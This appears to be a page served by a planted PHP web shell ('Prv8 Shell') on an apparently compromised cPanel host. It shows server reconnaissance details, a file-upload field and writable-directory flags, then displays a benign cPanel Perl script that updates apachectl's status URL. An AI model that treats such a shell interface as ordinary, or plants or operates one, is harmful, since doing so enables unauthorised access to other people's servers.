Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /proc/self/root/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/scripts/update_apachectl
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/update_apachectl               Copyright(c) 2014 cPanel, Inc.
#                                                           All Rights Reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use Cpanel::ConfigFiles::Apache ();
use Cpanel::Usage               ();

my $apacheconf = Cpanel::ConfigFiles::Apache->new();

my $apachectl_file = $apacheconf->bin_apachectl();

Cpanel::Usage::wrap_options( \@ARGV, \&usage, { 'file' => \$apachectl_file } );

if ( !-e $apachectl_file ) {
    print "$apachectl_file missing.\n";
    exit 1;
}

if ( open my $apachectl_fh, '+<', $apachectl_file ) {
    local $/ = undef;
    my $apachectl = readline($apachectl_fh);
    if ( $apachectl =~ /^PORT=/m ) {
        print "$apachectl_file is already updated.\n";
        close $apachectl_fh;
        exit 0;
    }
    unless ( $apachectl =~ /^STATUSURL=/m ) {
        print "Could not find STATUSURL in $apachectl_file.\n";
        exit 1;
    }
    my $new_statusurl = <<'EO_STATUSURL';
PORT="$(grep 'apache_port=' /var/cpanel/cpanel.config 2>/dev/null | sed -e 's/.*=\([.0-9]*:\)\{0,1\}//;' -e 's/[^0-9]*//g' 2>/dev/null)"
STATUSURL="http://localhost:${PORT:-80}/whm-server-status"
EO_STATUSURL

    $apachectl =~ s/^STATUSURL=.*?$/$new_statusurl/m;
    seek( $apachectl_fh, 0, 0 );
    print $apachectl_fh $apachectl;
    truncate( $apachectl_fh, tell($apachectl_fh) );
    close $apachectl_fh;
    print "Updated.\n";
    exit 0;
}
else {
    print "Unable to open $apachectl_file ready/write.\n";
    exit 1;
}

sub usage {
    my $apachectl = $apacheconf->bin_apachectl();
    print <<EO_USAGE;
update_apachectl [options]

This script updates apachectl to retrieve status information from
nonstandard ports as configured in WHM Tweak Settings

    Options:
      --help       Brief help message
      --file       Location of the apachectl file (defaults to $apachectl)

EO_USAGE
    exit 0;
}

haha - 2025